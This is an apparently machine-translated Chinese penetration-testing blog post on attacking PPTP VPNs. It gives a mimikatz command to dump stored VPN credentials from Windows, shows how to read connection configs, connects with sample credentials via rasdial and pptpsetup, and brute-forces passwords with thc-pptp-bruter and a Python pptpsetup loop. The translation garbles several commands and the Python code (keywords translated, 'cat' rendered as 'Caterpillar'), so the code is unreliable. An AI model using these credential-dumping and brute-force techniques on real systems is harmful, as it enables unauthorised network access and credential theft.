发布于2022年11月8日2年前 0x00 前言 PPTP(点对点隧道协议)使远程用户能够通过拨号接入ISP来访问内部网。 在渗透测试中,如果用户的PPTP密码被获取,他就可以远程拨入内部网进行进一步的渗透。 本文将介绍在命令行下导出PPTP配置信息和密码的方法,并开源PPTP密码爆破脚本。 0x01 简介 本文将介绍以下内容: 在Windows命令行下获取PPTP配置信息和密码 Windows命令行打开和关闭VPN连接。 Windows系统连接PPTP的方法和细节 Kali系统连接PPTP的方法和细节 PPTP密码爆炸的脚本细节 0x02 Windows系统命令行下PPTP配置信息和口令的获取 1、获取PPTP配置信息 Windows系统拨号和宽带连接的配置信息存储在一个固定的位置,路径如下: % APPDATA % \ Microsoft \ Network \ Connections \ Pbk \ rasphone . Pbk 检查该文件以获取PPTP连接的配置信息,包括服务器IP,但不包括连接用户名和密码。 VPN连接的名称是VPN连接,如下图所示 PhoneNumber表示连接的服务器的IP,如下图所示 2、获得内网IP 用于查看本机的IP信息 获取内部网IP,如下所示 3、获得PPTP口令 使用工具mimiaktz,命令如下: mimikatz.exe权限:调试标记:提升lsadump:机密退出 获取连接用户名和密码,如下所示 4、命令行下连接VPN rasdial 'VPN连接' zhaodg oZ7iFk25 如下图 5、命令行关闭VPN连接 rasphone -h 'VPN连接' 0x03 Windows系统PPTP连接的方法和细节 1. 2. 3. 4.选择创建新连接 5.填写服务器IP并选择稍后连接。 6.填写用户名和密码。 7.单击连接后,选择跳过。 接下来,修改VPN属性、VPN的安全类型,并选择点对点隧道协议(PPTP) 注: 成功创建后,指定点对点隧道协议(PPTP)以缩短连接等待时间。 8.关系 0x04 Kali系统PPTP连接的方法和细节 方法1:通过界面 1.装置 apt-get安装网络管理器-pptp网络管理器-pptp-gnome 2. 设置-网络-VPN 3. 身份-高级. 摆脱PAP,CHAP,EAP 选择使用点对点加密(mppe) 注: 如果无法连接,请修改文件/etc/network manager/network manager . conf。 Managed=false更改为managed=true。 重启系统 方法2:通过pptpsetup 1.关系 pptpsetup -创建vpn -服务器5x.xxx.xxx.xx2 -用户名zhaodg -密码oZ7iFk25 -加密-启动 远程IP是192.168.0.1,如下图所示 2.修改路由表 将默认路由表修改为远程IP 路线删除默认值 路由添加默认网关192.168.0.1 0x05 PPTP口令爆破 默认情况下,PPTP服务器打开端口1723。 1、PPTP brute forcer 源代码: https://github.com/BlackArch/thc-pptp-bruter Kali默认支持 字典展开的命令如下: 卡特彼勒单词表| thc-pptp-bruter -u zhaodg 如下图 注: PPTP建在森托斯 2、编写python脚本实现 有些设备的PPTP不能用PPTP蛮力爆破。 所以尽量用python调用pptpsetup。 通过os.popen执行命令,测试代码如下: 导入操作系统 def test_vpn(ip,名称,密码): command=' pptpsetup-create test VPN-server ' IP '-username ' name '-password ' password '-encrypt-start ' 印刷命令 vpn_status=os.popen(命令)。阅读() 打印vpn_status if __name__=='__main__ ': test_vpn('5x.xxx.xxx.xx2 ',' zhaodg ',' oZ7iFk25 ') 测试期间出现错误: 如果登录成功,进程pptp不会退出,导致脚本阻塞,无法得到echo。 您只能在结束进程pptp后获得echo。 所以这里需要以子流程的方式实现: 子进程执行pptpsetup命令,父进程不等待。 于是新的问题出现了: 如何得到子进程的结果,判断登录是否成功? 这里有一个简单直接的方法: 等待10秒钟,然后执行ifconfig。如果登录成功,将会生成一个新的网卡设备ppp0。否则,当前用户名和密码是错误的。 成功登录后,选择清洗过程并执行命令: pkill pptp 清除连接信息: pptpsetup -删除testvpn 完整的代码可以参考: https://github . com/3g student/Homework-of-Python/blob/master/PPTP _ password _ hack . py 代码会读取文件wordlist,获取密码字典,尝试连接到指定的IP,连接成功后记录密码,清除进程和连接。 测试下图 0x06 小结 介绍了在命令行下导出PPTP配置信息和密码的方法,可以打开和关闭VPN连接。 演示了PPTP与Kali系统连接的方法。最后,开源了调用pptpsetup实现PPTP密码爆炸的脚本,并分析了脚本的实现细节。 留下回复
创建帐户或登录后发表意见